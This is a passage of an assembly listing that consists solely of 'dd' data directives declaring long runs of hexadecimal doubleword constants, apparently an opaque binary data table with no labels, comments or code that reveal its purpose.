		dd 0EC837A5h, 801E60E9h, 84685640h, 0C036DB69h,	27BCC6B0h
		dd 0B1907C24h, 4C74960Ch, 12F5E671h, 26C8B58h, 0F9401AD2h
		dd 5EF38FE0h, 18EBB905h, 3DEF7836h, 0C9047BB4h,	411F0683h
		dd 6B1A03CAh, 2BA3ED05h, 0DCEE4D17h, 0FA4AAD0Fh, 3AD81524h
		dd 40F61BF1h, 72B09AB0h, 0FB4F390Fh, 55C126ADh,	7E32E957h
		dd 0F021FA09h, 0CDDB9DACh, 77A05317h, 200FB8F6h, 504A849Dh
		dd 7F1E00ECh, 28EDCC48h, 0A9A84F16h, 7D2E076Ah,	2502B110h
		dd 0D59F322Dh, 0DE832070h, 58ACC64Bh, 0BEB89B85h, 12D3A4E2h
		dd 0D8300978h, 0D3F59062h, 426149BEh, 804D8F42h, 0AB28DCEFh
		dd 9D096B5Ah, 0F07E8366h, 0CB01A915h, 0F6528A60h, 0CEBEFA56h
		dd 138BE918h, 7AE946D6h, 93D79E5Dh, 0EAF0C4ADh,	0F53E8AA6h
		dd 865C8CCEh, 50B2B75Eh, 48C1BD02h, 72E0262Bh, 7033372h
		dd 0E7D14F13h, 0D19F92E9h, 0C8366C9h, 4280E925h, 9D4CDD34h
		dd 17F0A637h, 1DA0BA64h, 6DED3BB8h, 5095492h, 0E8E08BEEh
		dd 0F31D8160h, 0B46F349Ah, 93B883FDh, 28476D48h, 5F5E07EBh
		dd 0C23118A9h, 0F828056Dh, 29136744h, 30953C8h,	0FE57A638h
		dd 0C9FE9F30h, 0AAE65C93h, 0FA8DA813h, 22AF3C94h, 795812E6h
		dd 6805D6BBh, 128D5C6Dh
		dd 9B2396E0h, 0CAD214DCh, 9D57B2Ch, 0FBD7FF43h,	0F545996Eh
		dd 79EA6C5Eh, 2BB07051h, 2E6439ABh, 0CE68D781h,	0EC74123Ah
		dd 809FB692h, 30C5C0h, 35400B0Dh, 386E1610h, 790FD490h
		dd 9D4869EDh, 0AF5F45C2h, 79535F62h, 0FE17E984h, 4099D2B4h
		dd 0CD0BB953h, 8B09442Eh, 9E627F0Bh, 55084EF4h,	64571A24h
		dd 80DF50A9h, 1133BDBAh, 66C0BF84h, 0D0B5C731h,	0E95ED023h
		dd 6BA2F102h, 0D055653Ch, 0F95B67h, 55D5BB62h, 0B904563Fh
		dd 47F308D0h, 26DDAC2h,	15C5EF01h, 3A41E4ACh, 0FB3BFFBFh
		dd 0A1316B66h, 80064E4Ah, 3021EF0Ch, 0CE70C82h,	429D7EDCh
		dd 6D307F18h, 7CF760A9h, 0E0F6FF8Ah, 0BDFEE480h, 5312DDC7h
		dd 0A6157306h, 5AD62FA3h, 7EAF1AF9h, 9F7EB87h, 88C9159h
		dd 95971524h, 4B1C0102h, 0FD6BC3F6h, 0BE5635C0h, 6043DEBFh
		dd 5B1FF008h, 74297A1Bh, 0C344210h, 4019E917h, 8D1A2D96h
		dd 0A7909EA6h, 0DC6D8B0Ch, 13F40C7Dh, 0F5047B3Ah, 0C080693h
		dd 0F3841482h, 105B09A3h, 5EB46893h, 8107B262h,	3FBE26EFh
		dd 64A5F282h, 48573C0Bh, 2FE9DD37h, 35F3F6E1h, 13F8DB69h
		dd 97E20BF3h, 6443A0E8h, 24E63D4Ch, 0DF244CC1h,	28E25D25h
		dd 7D56C741h, 4C0E06E5h, 79367415h, 0A6242C5Fh,	0C2C9BB66h
		dd 8B50D240h, 1554D43Fh, 41E38A27h, 2CF8E1D2h, 355801ACh
		dd 4C417FD6h, 0D27F442Ah, 1CDD888Bh, 9B0910B6h,	20907D6Eh
		dd 4BF45F01h, 2814B162h, 1272CCEEh, 0B85AF388h,	0C3FE0E68h
		dd 534EB980h, 427A1D7Eh, 349D685Bh, 6AB4B398h, 0FCC48000h
		dd 30FAB353h, 0F6E912DCh, 59CDEBACh, 0D071FA2Ah, 397C02B8h
		dd 0C2B1A8D2h, 0E252C328h, 0DD8EEAE2h, 0C12DBF96h, 78437A62h
		dd 80CFECC6h, 0B001EA81h, 59223076h, 2460C201h,	825200E1h
		dd 0E9DFF765h, 0FE4FD316h, 0EB5E718Bh, 5B268C28h, 78DBD051h
		dd 2C94FEF5h, 0EB055B40h, 27FB801h, 1D7206BFh, 3E404E5Eh
		dd 0A12F5188h, 0CE5BF057h, 96E4A998h, 4221EE85h, 40DCD589h
		dd 0E60ED12Fh, 3915680Bh, 7D8B6D79h, 41EC1A47h,	0AB04C3D3h
		dd 4F90A680h, 80345FDFh, 6062CD13h, 1046AA35h, 0ADAE6000h
		dd 25E9B2E4h, 8B187BF3h, 0BC3E1085h, 5C33963Dh,	68CFBFB8h
		dd 41664B89h, 4B1F214Eh, 6016FDAFh, 0D17E517Ch,	59204F18h
		dd 0A3525A49h, 0AEC829Bh, 0A8151272h, 78C0C261h, 0C3226057h
		dd 72E20237h, 4BABE99Bh, 0CBDB71D5h, 62AF307Dh,	0F4F78B21h
		dd 0ABB2AE53h, 0AA34E984h, 555AC209h, 0D027A9E5h, 48BF00DBh
		dd 0E902FB7Fh, 0B0DDCB4Fh, 5CB33849h, 0C329A35h, 0E0E2817Eh
		dd 735754EBh, 0FE40E29Ah, 97272D5Bh, 0F7798237h, 0CF1860D1h
		dd 17622C0Ah, 5F6A023Fh, 22F7247Ch, 0D9F8ECE7h,	2967A59Bh
		dd 3F922017h, 9DF87823h, 0EFDEFAA2h, 5549145Eh,	0E53099C8h
		dd 29BF3BF7h, 9F287A00h, 0BB21752h, 958E06B7h, 0BD0750B6h
		dd 153C1709h, 429789A4h, 43B9F305h, 14306E1Ah, 650B2C59h
		dd 2D9AC49Eh, 0B2623EE9h, 0B2ECE173h, 58E92FC0h, 503BFC62h
		dd 945E57F2h, 53590F24h, 480AE841h, 0A4603BF9h,	5FF178C9h
		dd 0EE83C41Ch, 8DCBF5D2h, 492008C7h, 103B05B9h,	9276E935h
		dd 5E5D05B0h, 0A9B2EB1h, 8384DF43h, 32A2363Eh, 2E4A88D1h
		dd 0B617AB8Eh, 68A660C2h, 0CCBD79F4h, 0CCE9164Fh, 0BF41528Eh
		dd 57D6A0B1h, 6805ABFCh, 6C52286Ch, 2C692B02h, 0FC9060BCh
		dd 374EBFE7h, 8E9ED1F6h, 5143B603h, 0C18088B1h,	9558959Fh
		dd 0F8DB8220h, 0CA882733h, 50976247h, 0AC7B122Dh, 0D030C51Bh
		dd 0E951FC41h, 446FB3E3h, 132225EEh, 0BA9D16AAh, 68595BC0h
		dd 0B62BE1D4h, 665C814Fh, 1320E9F7h, 8418BD12h,	76828296h
		dd 0A45A49C7h, 0A3E77D27h, 0F35C6DFEh, 7DBADA25h, 75CB7E27h
		dd 0AC96E011h, 4195B2FAh, 626B5E1Ah, 895D7403h,	1DC57F69h
		dd 5E4CCC42h, 3838EAC0h, 1E846085h, 79D7C04Fh, 7F761B6Eh
		dd 4C4BCF04h, 0ADFB475Fh, 898A09C7h, 0ABAE0205h, 936D7C46h
		dd 0F92E715Eh, 900014B0h, 0A7A4070h, 80CEA05Bh,	0F0B5A326h
		dd 305464EDh, 0AC0C41F3h, 0D52DB791h, 654EF929h, 845FFC58h
		dd 17BF79E9h, 7A73FA1Ch, 4A3C88EFh, 0DF293476h,	2B081AB0h
		dd 757EAA40h, 92A2D58Ah, 5157C4FCh, 18556B02h, 2F3DB771h
		dd 0C356DFF6h, 519AA06Eh, 1501B450h, 0EAB82AE9h, 38645876h
		dd 0C3A57A3Dh, 50BA1A40h, 0FA54812h, 2071DA00h,	35560Bh
		dd 27F31511h, 61468C25h, 45E96009h, 64CA5CCEh, 8835EF51h
		dd 0D018BEE6h, 0DBE605Fh, 7581F09h, 2FBBD821h, 459034Bh
		dd 6F72E147h, 6C1861C3h, 8731093Fh, 92D514D7h, 0EDB22E56h
		dd 0FEF093BBh, 0C527F804h, 0BB4FE610h, 0F44F5716h, 226FE657h
		dd 11B017EFh, 0DA5D0A76h, 0E96417ACh, 6C050217h, 0C314E123h
		dd 19E6DB1Ah, 4064B5ECh, 0B3CA6AF2h, 3D74BA25h,	1491E985h
		dd 0D8023AC8h, 49FA8C07h, 5F5B7E3Eh, 96F56800h,	0B03B08B0h
		dd 0E8244B20h, 0D3BAE43Bh, 40E4E3E8h, 21742CBh,	71B59046h
		dd 2FE7193Ch, 238FA4Bh,	40CBD558h, 0B6E8BF9Ch, 3785C04Eh
		dd 44903E85h, 66EB5B1Dh, 5FFE2985h, 2CE92BC8h, 69919A83h
		dd 10F20406h, 2CAB5F4Fh, 0C2B774A4h, 154C5D37h,	0F0062DEh
		dd 9EE94C47h, 9569F3Dh,	885DE5CBh, 471C5637h, 0C0D9A77Bh
		dd 50EE8810h, 5F22C566h, 0E43A8DC7h, 719ED747h,	655B5F49h
		dd 5431306Ch, 0FCDA38Ch, 1EFC164Bh, 0E0C3677Dh,	94AEEDA9h
		dd 7EA5350h, 69BB31A4h,	0E2755C2h, 901D8AE0h, 0EB048101h
		dd 16DE23DFh, 8F262CBEh, 3A2D6475h, 0E3C04009h,	973712B5h
		dd 7A060562h, 883B8602h, 1249FF01h, 9BEEE972h, 0E460CD7Ah
		dd 12D74401h, 0C94D91EBh, 68F3B0D0h, 5F04A3B5h,	0D3E481B9h
		dd 0E458024Fh, 0E51C261Ch, 0D145C4F8h, 4C0C3301h, 0C409F2D6h
		dd 4449D4Ah, 0AA1731A8h, 5C077107h, 0E95D23B3h,	0BC6A02AAh
		dd 0CBB4A40Dh, 0A06DD6E7h, 68715207h, 75312D4Ah, 2105F078h
		dd 94DE1BDEh, 73D3C110h, 0CF8E65Ah, 134BC205h, 0E701BE46h
		dd 6458ABCEh, 14C69740h, 7CAC304Dh, 29497A28h, 8E09432Dh
		dd 220561E5h, 936B5F32h, 8BE4F2ACh, 0FA310EAAh,	0FEC605E9h
		dd 828E64ABh, 88239A11h, 50E4BAEAh, 0C859B7EDh,	4D545F5Ah
		dd 0E5AD3F64h, 5F1A0325h, 95658D7h, 3EC77B30h, 280B4C5Eh
		dd 0E96D0177h, 3243693h, 2EE4A4D7h, 8590D1BBh, 80753E71h
		dd 3F99E57Fh, 0B648A528h, 6B292509h, 0B4E2021Dh, 67AD0EEBh
		dd 0FE6FC07Bh, 53556800h, 32335245h, 6C64382Eh,	44411CF0h
		dd 4950CA56h, 544E630Dh, 518D4CF3h, 0CFF010Ah, 0A0875E9h
		dd 9F350F68h, 0CF420614h, 0B885FDE1h, 0C50A08A1h, 24A0BD42h
		dd 0A1F121BBh, 5D10B112h, 8A789A2h, 9DA3442Ch, 22A84284h
		dd 887B0093h, 9A8E7E1Ch, 0A21C9230h, 0BA8048AAh, 0D0C05EC4h
		dd 0D57300DBh, 0A69B0968h, 0B000A03Eh, 0C7B755B9h, 24D06ECEh
		dd 3CE6E0h, 0F1198AEBh,	7500FDA5h, 0AD93E5F8h, 595485h
		dd 0D10726Ah, 0EB741FB7h, 978C6200h, 43D62C2Fh,	7307591Bh
		dd 0F76AD407h, 69FBD05Ah, 633B5DABh, 45420010h,	82616CBCh
		dd 0CAC43B8Eh, 913CD400h, 0C33A4320h, 4524900h,	1CA7A601h
		dd 12E80071h, 61B7BA18h, 30084F7h, 5E43D575h, 0DC1DECh
		dd 119CC435h, 55A34FB1h, 1C38C101h, 0CDBFE758h,	80CE1680h
		dd 95F9F0E8h, 0FE4C2B06h, 79E4E153h, 0C25E00C1h, 0FDF7CD58h
		dd 0F3001B8Ch, 0FA4FB202h
		dd 0F4524Ch, 6B039BF1h,	90F2EAC0h, 3F9F9800h, 6D6757D5h
		dd 541D010Fh, 0A599AC53h, 0F0ADDFC2h, 512C4463h, 63007EE5h
		dd 736B5BF9h, 83E411h, 9989278Dh, 319E3CA4h, 6F64D600h
		dd 82796907h, 9080001Eh, 0A9993797h, 0B30251AFh, 0BAE253B4h
		dd 0C1C980A6h, 1F0F5CAEh, 8FBB15h, 8BEDDABCh, 9500F0F3h
		dd 0EF600B96h, 0FE6411h, 832E7C69h, 0B654B4ADh,	6DCDC600h
		dd 998F016Ah, 0F0CE0034h, 0B7ADA553h, 0F8004E51h, 5EBCB68Eh
		dd 3C7FB6Ch, 7EA7360h, 0D9184062h, 0C394BDB0h, 0C76507CFh
		dd 207DDFD7h, 0F593F9EFh, 0A8100502h, 44429D0Ah, 0EEE5003Bh
		dd 3FCEC8Ah, 150005A3h,	201FBD1Bh, 0C0264EBFh, 0D02235D9h
		dd 913D865Ch, 6600F629h, 0AE3A948Eh, 0ADE78Dh, 2B2EC6FDh
		dd 721D7B75h, 43A39C00h, 88F2524Bh, 7DD1E4A5h, 9EC639F1h
		dd 32BBD884h, 1C0EA5Ch,	48ED15A8h, 0FC00501Fh, 5AF2584Eh
		dd 31B6B7F0h, 7C5D3038h, 1FBE2892h, 0C28EECE6h,	2B53C44Dh
		dd 84326C48h, 272A8C00h, 93CF39D1h, 1D486074h, 5B06645Eh
		dd 170086ECh, 65F95751h, 599A2Eh, 0D1DC71EFh, 9F36A752h
		dd 8BC348h, 91F5ECC2h, 0E2D88Eh, 8B23797Ch, 49F44221h
		dd 1A7A731Eh, 33938CC0h, 0B8B288h, 44AED647h, 6FBD75FBh
		dd 8A6DD704h, 7EBC72E5h, 0B9324h, 5259B4B7h, 0B31824CFh
		dd 136E1C4Eh, 0D3E505A1h, 36D4D96h, 0C361AFF4h,	0DD7BD9C8h
		dd 6E643A07h, 45C00508h, 3EC5C8h, 542D2293h, 0EE3C7010h
		dd 746D4300h, 0BE56C0B4h, 37300020h, 861E7E77h,	0D33ACD83h
		dd 29620175h, 14F7796Fh, 9D8024D1h, 0CF6DD9CCh,	49B8EBDFh
		dd 99FBF31Ch, 0AF150B80h, 122C2111h, 0B926C4h, 0F18FF7EDh
		dd 0A6000A01h, 0BF1F1808h, 1373121h, 0DB3C3BD9h, 20A7426Ah
		dd 3630491Ch, 6157FAE4h, 606300FBh, 4F52B0AAh, 0BB3C9132h
		dd 55F681C4h, 5DA0B75h,	5D5AD840h, 147D4809h, 36F64C27h
		dd 200F292h, 0D2282B8Fh, 81E100DAh, 0D4453F17h,	0F6AA3B63h
		dd 595CD100h, 74050FFEh, 244758C9h, 98E6B300h, 6665FAh
		dd 0EEBF30DBh, 3F700D23h, 9D75F176h, 0AA422C60h, 0A01911E7h
		dd 30B35ED6h, 211B1A42h, 0C80669D3h, 0A3BD14E8h, 6B0425A0h
		dd 32AA1DE1h, 1FCA04C5h, 0B1D711AEh, 12C17E97h,	128079A1h
		dd 9A328075h, 81EEA06h,	25C47293h, 0A980DCBBh, 5C5329h
		dd 9CA3F5F8h, 3FDCB95h,	8216AE1Eh, 74B1F1C0h, 13B51F86h
		dd 5C2D42h, 0C16F5EDAh,	654C2850h, 0E93700ABh, 5835A651h
		dd 0DC9863h, 66DB8BFDh,	0CBCE382Ch, 0F4E17503h,	0A84B3FF3h
		dd 1C595149h, 0AE8DF7h,	0E8524608h, 5FF44D50h, 77F65C50h
		dd 0DA5BCC09h, 73F18063h, 0A47A25h, 0CBA14CAAh,	86046ED6h
		dd 3E9C961Eh, 0AD318F80h, 2ED3B699h, 4375F02Eh,	13B3A10Dh
		dd 2717C007h, 3F20CD2Fh, 45E349h, 5AF86055h, 2B2092EDh
		dd 3525C300h, 4C3CDA3Eh, 55F30053h, 6F0D6B65h, 9E120F70h
		dd 3400A876h, 6A207285h, 35E00463h, 90133BACh, 62CC1A08h
		dd 7066D701h, 9F69FD9Bh, 0D0D08E43h, 36D977h, 0FF026C60h
		dd 658DFEA9h, 7452A460h, 3E4BC26h, 0D2888BEBh, 41A17AD8h
		dd 0E8BC30B1h, 84630574h, 26796CD9h, 3127F94h, 399B9383h
		dd 4FB5AB90h, 0CCC1B104h, 4B84C664h, 0A191CAD0h, 0A84600AAh
		dd 0C15FBFB8h, 7901D7D1h, 0A7BDCDBh, 8684A9E2h,	0C884D6E9h
		dd 400FE1Dh, 0CF86A3A6h, 0EFB6DEFh, 211A6CC1h, 0D272D80h
		dd 7718EA54h, 0CEFCD546h, 4C7D02D1h, 74C0D81Eh,	0A4A824DEh
		dd 1D2A903Dh, 8D45EEE8h, 0A5023B32h, 40266F8Ch,	509E5Bh
		dd 80AD5EB2h, 16C1404Bh, 6A08A524h, 0B1ABF987h,	109E1CF0h
		dd 8D74CEh, 62577FF0h, 18661DEEh, 64D58007h, 0E00E6087h
		dd 8FEFE896h, 9E36008Ch, 0B64D409Bh, 197E9A0Bh,	30001271h
		dd 3CAE37E2h, 384C01h, 339D9FE4h, 0ABA3615Bh, 13B14900h
		dd 776B2923h, 23B64CADh, 5E81F93Fh, 417E7008h, 0D4CBD009h
		dd 0B54CF117h, 483B79C0h, 4E3E2CDCh, 6252032Ah,	7A91086Ah
		dd 9BE96484h, 28953300h, 0FE665BC9h, 79700060h,	8E877715h
		dd 0A02E902Eh, 0AB03DAA6h, 0ADB1D94Ah, 0A5B8CF02h, 60A79253h
		dd 4EA673Dh, 44B560E3h,	7389038h, 0FB056559h, 5F0AA2F8h
		dd 8FA72AC1h, 6F1D0h, 69623AA4h, 0AE70590Dh, 0BD51B902h
		dd 400FE864h, 0A1F0E950h, 8C6024D1h, 389A0092h,	0DD479DA0h
		dd 0AD000B05h, 611802BBh, 30240773h, 0B7F9397Fh, 0BA0058C4h
		dd 0CE6CD6CAh, 0E484E6DEh, 139AE0F6h, 170CFCh, 0D745A4EFh
		dd 0DC597AE2h, 3F3007Bh, 1C0CAA0Ah, 0CFD9822h, 2D55C627h
		dd 29243CF9h, 0C443B7D7h, 87EB0EB8h, 0BEE28E39h, 0AF5EC260h
		dd 4882F400h, 0A79D4Fh,	3ACEAD41h, 0FB840F79h, 6C2C2500h
		dd 0B80E1175h, 43B60C20h, 1864F615h, 89C7CA3Eh,	87B1B41Ch
		dd 0D1006450h, 0D8883Ch, 46F18981h, 0AA147A70h,	98972C01h
		dd 4E5D85F6h, 136C4096h, 3A460C7Dh, 30F5113h, 0C3F7E658h
		dd 0C92C24A6h, 54FD04E7h, 3B5C34h, 0EA4A4DE5h, 0E72693Fh
		dd 61550B13h, 1DF58300h, 27C523h, 0DCDF3D37h, 68FF32C4h
		dd 0BFB98816h, 0C278D830h, 626500CDh, 0DEAD8D46h, 317A26E4h
		dd 7E006AF6h, 730B165Eh, 264D3DDBh, 9E2F058h, 3588EFE6h
		dd 3A770C9Ah, 0D79886B2h, 23D3EB05h, 1AC3AD2Eh,	921D008Bh
		dd 5939DA44h, 2D03958Ah, 0F263EC8Fh, 0D12103CAh, 4C411983h
		dd 803860A9h, 0A1994717h, 1EE63C3Fh, 0CFB3B64Eh, 4A40A404h
		dd 0E7DCAB8Bh, 3EE17F00h, 7858ADCCh, 8C20037Eh,	309AC1EFh
		dd 0FD805ECBh, 0CA58BE94h, 1D8300DDh, 86DDAE81h, 65E703C7h
		dd 3336968Fh, 0A19B73C8h, 0B5A54300h, 0F15A5DBBh, 0E801007Fh
		dd 0B6EA8336h, 17F2744Ch, 80E36C3Fh, 503DC1E9h,	307AC82Eh
		dd 0CE0FBFE7h, 33001680h, 703F1FD6h, 7A1876h, 2F32908Ah
		dd 0C637D9D4h, 0AD2F9E60h, 51CC75Fh, 623F5EABh,	0DEA7D728h
		dd 88F9A4E0h, 7200D3A6h, 9093E122h, 12D9E27h, 2E4AAC05h
		dd 9FCFF768h, 91C0DE0Dh, 701D943h, 9C0D1896h, 2D7B1D74h
		dd 0F729A30h, 932B79h, 57C952F5h, 0F6396402h, 0EA1C406h
		dd 0FE241FE6h, 0FB233094h, 1CB4020Fh, 0E0DAB201h, 40167F82h
		dd 0B0E1E4F0h, 92AE0722h, 87BF64E7h, 817BC02Ah,	95078523h
		dd 84E4DD9Bh, 7790728Ch, 0D37E09DAh, 0C9008FDh,	4F6A3FAh
		dd 60EE8260h, 0B84074D8h, 0DFB70060h, 46E987E5h, 24654CBDh
		dd 0D7322B1Dh, 52604098h, 1FB960E1h, 0D7DA72C0h, 3427B8B8h
		dd 0B20E8Fh, 0BC2218EEh, 95160052h, 0B01C0F59h,	0FD00F7ADh
		dd 0EDE69C9Fh, 4D48A8Dh, 0C07679DDh, 0B501A0CBh, 9400B490h
		dd 7F35389Eh, 24222587h, 3FBA786Ch, 56FD680Bh, 55D27AD6h
		dd 6884CCF1h, 0CCAF5FC4h, 4E43285Fh, 8B80503Ch,	585AFE46h
		dd 78273F0Dh, 1D8D480h,	1385D07h, 57B12A49h, 2D55E8C8h
		dd 3D706AC7h, 87B612CEh, 0E9F144B1h, 58CDE073h,	0BFB6166Eh
		dd 69FF4C13h, 0E75FA2Ah, 408F61C7h, 0D86F5F08h,	2BEF8B64h
		dd 0E9887CBFh, 0DFD96D2Ch, 2ECC500h, 198BC16h, 0B811F3FBh
		dd 0CD14A606h, 0E0FFFC03h, 9C9E6302h, 609A182Eh, 179643h
		dd 33848CEh, 7E9F46E7h,	2F01C3B8h, 0D96A0299h, 0B46007BFh
		dd 1349007Fh, 759C2A40h, 0C43C06FFh, 80963C7Dh,	0BFCA3305h
		dd 0EB196Eh, 0B85C1A38h, 834E29FAh, 0BBD838C1h,	0A17437C3h
		dd 89C10054h, 439F714Bh
		dd 0E8376075h, 0B880DF0Dh, 98C174h, 92FA3006h, 0A338CA8Ch
		dd 2513E930h, 9DD091h, 0F9F152AEh, 0AA4E1E89h, 61B60F16h
		dd 99EC4401h, 207A5E51h, 583DD959h, 0CB0FB5Eh, 60320083h
		dd 30AAB95Bh, 615AC681h, 33F57B00h, 0FEBFC0h, 8B4D6DEEh
		dd 0EA80060Ch, 0BAF1D050h, 6A70211Dh, 0B75B0558h, 72D27ACh
		dd 0C0134BD4h, 0F5239206h, 4F36000Eh, 0BA663193h, 51003F91h
		dd 8F14D780h, 0A0E90604h, 5EEF7Ah, 824AB473h, 9E79EA2h
		dd 0E2399204h, 0A64007E9h, 58525FB4h, 811F32EAh, 28CB59E8h
		dd 0F21DE4Ch, 0C06E5535h, 0BF3177Bh, 5F473B00h,	0BD8E428Fh
		dd 61C0179h, 0F88101CCh, 73A02A80h, 1285360Fh, 0CA2D4E2Fh
		dd 0C05AD80Dh, 0F439AC15h, 3B042063h, 8E0FF6EDh, 0D80DBA4h
		dd 67E9DBE3h, 81AFC84Ah, 261C9900h, 155D78ADh, 0E04A01C4h
		dd 6F034DD2h, 0E1F9E11Bh, 5CEAF01Ah, 0EB3CFE1Dh, 802E150Eh
		dd 0F9F453DCh, 211D67E1h, 4630417Fh, 9511804Bh,	9A6C1E02h
		dd 380683CCh, 0E8FEA2FBh, 29440211h, 0F3492491h, 8D54C400h
		dd 0FEAD225Bh, 4A9B6A02h, 5656FD3h, 0A61C0EAh, 8A35FD4h
		dd 447D4920h, 0DB3A6AFDh, 2505216h, 45F38898h, 49A2202Bh
		dd 275873A0h, 19E601B7h, 0ABAD80E8h, 0A5BE09Dh,	840E05h
		dd 9B23AE25h, 10C31335h, 88E65311h, 0DE82BEh, 40BE849h
		dd 12E9F7E5h, 0FCE14F0Ch, 41486062h, 9F2DF098h,	80632CF0h
		dd 7D310h, 84AFEAA0h, 76D45F2Ah, 0B9503600h, 0A9592D6Ch
		dd 227787Eh, 0EB2988CBh, 0D3407D9Fh, 12785EC8h,	3685B407h
		dd 3C23D15Ah, 715A054h,	78C20053h, 69B23A2Fh, 0C60041C4h
		dd 0C0541083h, 5E327Ah,	5D296BC2h, 59337ED0h, 1E384AEBh
		dd 3A1ECF2Fh, 0A318523Ah, 38081E34h, 0B078184Ch, 2D138DA1h
		dd 3CF8AC5Fh, 2784CF00h, 1415AB34h, 78CC5D13h, 0B1530Fh
		dd 89C66309h, 0A0397D0Dh, 78196468h, 3469343Fh,	4DC5139h
		dd 6281ADF0h, 0E27310C0h, 0A8FF6D47h, 500619C8h, 0EAF82Ah
		dd 71935C9Ah, 5E53141Bh, 0ABF41C92h, 18940231h,	0CBE0042Eh
		dd 1229DEF6h, 513800ECh, 0D8BE2470h, 14ACF00Ah,	0E9022C79h
		dd 42E726F2h, 4F0C3100h, 8C0C88A3h, 0D830DCB6h,	8F704D1Bh
		dd 0F59AEB59h, 0E2785001h, 40846CADh, 90EC2C65h, 53F2EAA0h
		dd 0C87F59C2h, 6578A177h, 5842EF2Eh, 36F91D4Eh,	8761FC0Eh
		dd 0AC11437Eh, 6EA80047h, 5CF0D639h, 0F6494824h, 0FA7506CCh
		dd 728E826h, 0E6378798h, 1A6E4118h, 15198F27h, 216809D3h
		dd 0D5B2E7E4h, 0E47C034h, 0C79EADAEh, 3E501F76h, 13202243h
		dd 4FFC61A0h, 6A606DB0h, 991FEE4Dh, 0EA0C8150h,	0CF4D6B78h
		dd 884F1414h, 0D8DF0258h, 9D60741Ch, 2471164h, 499EBDAEh
		dd 0BC8CA81Dh, 0B8904310h, 16BDF511h, 9042C57Dh, 0A19B80C3h
		dd 5119C6C4h, 0A0ACF84Ch, 985D54E0h, 4814425Ch,	0C6F22248h
		dd 0C1386E40h, 655D214h, 0A321C88Ch, 877650E4h,	9AE64B13h
		dd 42987C26h, 8390628Bh, 90C52505h, 5914DC64h, 54512961h
		dd 884CA261h, 19C72C3Ah, 426428ACh, 12EA0ACFh, 59054844h
		dd 0E0427FFCh, 46DFA71Ah, 5B69440Ch, 976880AEh,	0FEC20C99h
		dd 0BB8C882Dh, 3F74240Bh, 0E9EF8A04h, 55146188h, 2787161h
		dd 0C31027F4h, 0B094A4A0h, 0DD52020h, 30EE28A0h, 0E9F74486h
		dd 256880AEh, 8CC20C99h, 4B8C8175h, 0C337620h, 215F6F9h
		dd 787C8198h, 0D045A846h, 0FE34800Ah, 650C6299h, 25493050h
		dd 0C23AA9Ch, 9B2421D4h, 4F15B132h, 0B01790A0h,	24251CF5h
		dd 9414FA48h, 20D6D8B1h, 0EB11FE74h, 0F15020D5h, 31F6CC1h
		dd 996CAACFh, 8BB129D3h, 0C481B7A8h, 0DCB4C845h, 81DFD8A6h
		dd 0E8D95824h, 2C9A4C54h, 0F03570A2h, 0F28D6CD3h, 855CEC03h
		dd 0C53C1000h, 0ACF3F1Ch, 0D8792A15h, 9E78A0A0h, 0DC8482DAh
		dd 0E2B04129h, 1880EC86h, 5DD02C67h, 0C4A05443h, 11F9E603h
		dd 34077374h, 0DBA888E2h, 4A083CA6h, 0F216A9D6h, 0E03CE828h
		dd 5C8D6D1Fh, 8ED82A8Fh, 9FE9083Ch, 50F01CF0h, 7BD58074h
		dd 19207100h, 2E0D68B9h, 3E1578A2h, 17078B47h, 0C26BB434h
		dd 14835D2Fh, 0A0E11863h, 1D24705Ah, 0B8D1FF24h, 0AF1AF280h
		dd 1D1EF1E8h, 4171886Ah, 0FAC11C8Fh, 49F822E1h,	1ED1C4BCh
		dd 2D3A0081h, 0DCDD8911h, 840CA0B0h, 38196CA3h,	499A09E5h
		dd 0B8076EEBh, 1C3C488h, 431FE95Bh, 44A1A870h, 74145E02h
		dd 0F1201765h, 0C718C05Bh, 0D314150Ch, 3E7CA960h, 0E603876Dh
		dd 0DDEEE859h, 21710930h, 1287659Ch, 20E1249h, 0C7FDAFDCh
		dd 0C0E484A4h, 474D7133h, 0B319813Bh, 1DF082Fh,	203E0721h
		dd 0F4654D13h, 62022B29h, 459A0B2h, 0AC8C887Eh,	2863D500h
		dd 148A52A5h, 903DCE70h, 79A09F03h, 287E5E64h, 5D75D503h
		dd 0F0D3C3A1h, 719DE45h, 0A6B6EE8h, 38EBA9C9h, 9B425BA0h
		dd 4F07110Bh, 752402D9h, 4D8880EEh, 0D42C96A8h,	2114E460h
		dd 0D314A426h, 4E9D886Bh, 2D81BCD4h, 24F14B25h,	193BF5D0h
		dd 2CC8FFh, 0E85124A5h,	583B2506h, 0BE804045h, 0EDD9F35h
		dd 0C8DB6E17h, 6CFA02EEh, 88A0C69Ch, 0A5B67976h, 9A9FEF1Eh
		dd 97EF8837h, 1E6E1006h, 0BC40010h, 9745590Ah, 0E7000EC8h
		dd 0AD0255CEh, 60529396h, 0C74A785Bh, 7F14CD18h, 6242F26h
		dd 3EB2A7EDh, 4F180411h, 42E1678h, 0BCE31A44h, 4F661C02h
		dd 0F8A3E8BCh, 24EBCFC2h, 0BA893FC7h, 30B40811h, 45303A70h
		dd 1C354119h, 9EB503AEh, 96610F08h, 212C0930h, 0B0AE1455h
		dd 0F218EC3Fh, 9A3926B2h, 6FED0698h, 4530A1D2h,	0A9B7311Eh
		dd 3D9005Fh, 0A8D704FEh, 9CB1D414h, 0F0088401h,	0C3F1BB68h
		dd 0DE1B46CCh, 0F9AE4139h, 20042603h, 0B4A8F4BCh, 88184D65h
		dd 0B66834F6h, 0F2AC306Dh, 9DA1FEF9h, 3652E900h, 467B1ED4h
		dd 1A51C327h, 37B182DCh, 0A67CDC86h, 0CD402B00h, 96DD504Fh
		dd 7B142497h, 801611A0h, 0E645876Fh, 9E0B8769h,	96B4C067h
		dd 405B65B9h, 0CCA0A5ADh, 61092694h, 0E255150h,	0DC30D1CCh
		dd 80F1A09h, 65BA3601h,	0A15B762Ah, 0C4A0B850h,	0BE34A0D2h
		dd 73C60226h, 995A5C4Eh, 0A3068460h, 6D03BA07h,	0C1206EE4h
		dd 0C02645D4h, 30D909F1h, 0FB7B81CFh, 6B933Ah, 0F3703FFh
		dd 1655EC1h, 6F8DFA16h,	48B6441Ch, 7D0C7BF8h, 906DF0C1h
		dd 0C780044Eh, 0C0E5E850h, 97A0C210h, 2460553Ah, 0E404948Eh
		dd 0F8F3EFACh, 0AF3B8401h, 8FED5224h, 0BBE4A19h, 25E884F5h
		dd 0FC68FE49h, 0ED480F0Ch, 76401C3h, 0AF548489h, 0AD3B9883h
		dd 6CC97567h, 18CC2046h, 4B3D2D01h, 431E76BEh, 453F7022h
		dd 0C02259E4h, 8C6DF1DAh, 0A97FE400h, 5232433Bh, 5D76005Ah
